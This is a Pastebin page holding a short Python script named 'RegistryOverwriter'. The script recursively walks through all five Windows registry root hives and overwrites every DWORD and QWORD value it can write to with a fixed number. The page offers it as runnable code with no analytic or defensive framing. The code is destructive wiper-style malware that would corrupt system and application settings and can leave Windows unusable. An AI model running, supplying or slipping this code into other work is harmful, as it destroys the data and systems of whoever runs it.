Advertisement
FlyFar

RegistryOverwriter - Python

Jul 10th, 2023
874
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.02 KB | Cybersecurity | 0 0
  1. # Andrew Maney 2022, file copied from https://gist.github.com/FlyTechVideos/2a9b260f0cd440fbe316241ffc8e48ac
  2.  
  3.  
  4. # Imports
  5. import winreg
  6.  
  7.  
  8. # Variables
  9. VALUE_TO_WRITE = 0x69
  10.  
  11.  
  12. root_dict = {
  13.     'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
  14.     'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
  15.     'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
  16.     'HKEY_USERS': winreg.HKEY_USERS,
  17.     'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
  18. }
  19.  
  20.  
  21. types_to_overwrite = [
  22.     winreg.REG_DWORD,
  23.     winreg.REG_QWORD
  24. ]
  25.  
  26.  
  27. # Functions
  28. def check_values(root, key, opened_key):
  29.     values_to_overwrite = []
  30.     try:
  31.         i = 0
  32.         while True:
  33.             value = winreg.EnumValue(opened_key, i)
  34.             if value[2] in types_to_overwrite:
  35.                 values_to_overwrite.append((value[0], value[2]))
  36.             i += 1
  37.     except:
  38.         pass
  39.    
  40.     if len(values_to_overwrite) > 0:
  41.         try:
  42.             opened_write_key = winreg.OpenKey(root_dict[root], key, access=winreg.KEY_SET_VALUE)
  43.             for value_pair in values_to_overwrite:
  44.                 winreg.SetValueEx(opened_write_key, value_pair[0], 0, int(value_pair[1]), VALUE_TO_WRITE)
  45.         except Exception as e:
  46.             print(f'PERMISSION DENIED: {e}')
  47.             pass
  48.  
  49.  
  50. def traverse(root, key):
  51.     should_check_values = True
  52.     try:
  53.         opened_key = winreg.OpenKey(root_dict[root], key)
  54.         check_values(root, key, opened_key)
  55.     except Exception as e:
  56.         if 'WinError 5' in str(e):
  57.             print(f'{e}: Error 5 [no read permission]')
  58.             should_check_values = False # no need if i can't read them anyway
  59.    
  60.     if should_check_values:
  61.         check_values(root, key, opened_key)
  62.  
  63.     if key != '':
  64.         key += '\\'
  65.     try:
  66.         i = 0
  67.         while True:
  68.             traverse(root, key + winreg.EnumKey(opened_key, i))
  69.             i += 1
  70.     except:
  71.         pass
  72.  
  73.  
  74. def main():
  75.     for root in root_dict.keys():
  76.         traverse(root, "")
  77.  
  78.  
  79. if __name__ == '__main__':
  80.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement